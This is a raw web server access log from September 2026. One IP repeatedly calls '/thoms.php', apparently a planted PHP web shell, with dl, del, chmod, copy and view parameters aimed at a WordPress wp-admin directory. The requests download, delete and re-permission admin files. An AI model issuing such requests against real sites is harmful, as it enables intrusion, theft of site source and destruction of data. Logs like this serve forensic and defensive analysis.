45.135.193.11 - - [11/Sep/2026:23:40:16 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 200 15225 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcomment.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcomment.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /thoms.php?chmod=credits.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:16 -0400] "GET /thoms.php?dl=install-helper.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /thoms.php?dl=plugin-install.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fplugin-install.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fplugin-install.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /thoms.php?chmod=upgrade.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcustomize.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcustomize.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /bestjudy.com.tw/wp-admin/media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /thoms.php?dl=about.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=about.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-sites.php HTTP/1.1" 200 12023 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /bestjudy.com.tw/wp-admin/ms-upgrade-network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:17 -0400] "GET /thoms.php?del=ms-admin.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /bestjudy.com.tw/wp-admin/admin-footer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /thoms.php?chmod=about.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /thoms.php?del=network&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28929 "http://163.245.207.76:443/thoms.php?del=network&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmenu.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmenu.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=site-health.php HTTP/1.1" 200 16040 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /thoms.php?del=options-permalink.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /thoms.php?chmod=widgets-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /bestjudy.com.tw/wp-admin/ms-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-users.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fpost.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fpost.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=upgrade.php HTTP/1.1" 200 14266 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:18 -0400] "GET /thoms.php?dl=admin-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28875 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /thoms.php?dl=edit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /thoms.php?del=media-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /thoms.php?dl=export.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?dl=export.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /thoms.php?chmod=network.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /bestjudy.com.tw/wp-admin/authorize-application.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /thoms.php?chmod=admin-footer.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-themes.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-themes.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /thoms.php?dl=edit-tags.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=users.php HTTP/1.1" 200 19524 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /thoms.php?chmod=post.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /thoms.php?del=admin-functions.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:19 -0400] "GET /thoms.php?dl=post.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=post.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /thoms.php?chmod=profile.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /thoms.php?del=user-edit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=credits.php HTTP/1.1" 200 13336 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmedia-upload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmedia-upload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 200 14045 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /bestjudy.com.tw/wp-admin/post.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=user-edit.php HTTP/1.1" 200 24944 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-comments.php HTTP/1.1" 200 16625 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /thoms.php?del=widgets-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /bestjudy.com.tw/wp-admin/options-connectors.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /thoms.php?chmod=options.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fupdate-core.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fupdate-core.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /thoms.php?chmod=user&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=user&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /bestjudy.com.tw/wp-admin/credits.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /thoms.php?del=admin-footer.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /thoms.php?dl=comment.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28923 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /thoms.php?chmod=media-upload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /bestjudy.com.tw/wp-admin/ms-admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-options.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-options.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin.php HTTP/1.1" 200 16225 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fpress-this.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fpress-this.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /bestjudy.com.tw/wp-admin/profile.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=menu.php HTTP/1.1" 200 17610 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /thoms.php?chmod=setup-config.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:21 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /bestjudy.com.tw/wp-admin/theme-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=customize.php HTTP/1.1" 200 16387 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /thoms.php?chmod=export.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /thoms.php?chmod=import.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /bestjudy.com.tw/wp-admin/customize.php HTTP/1.1" 403 1171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fnetwork.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fnetwork.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /thoms.php?del=ms-themes.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
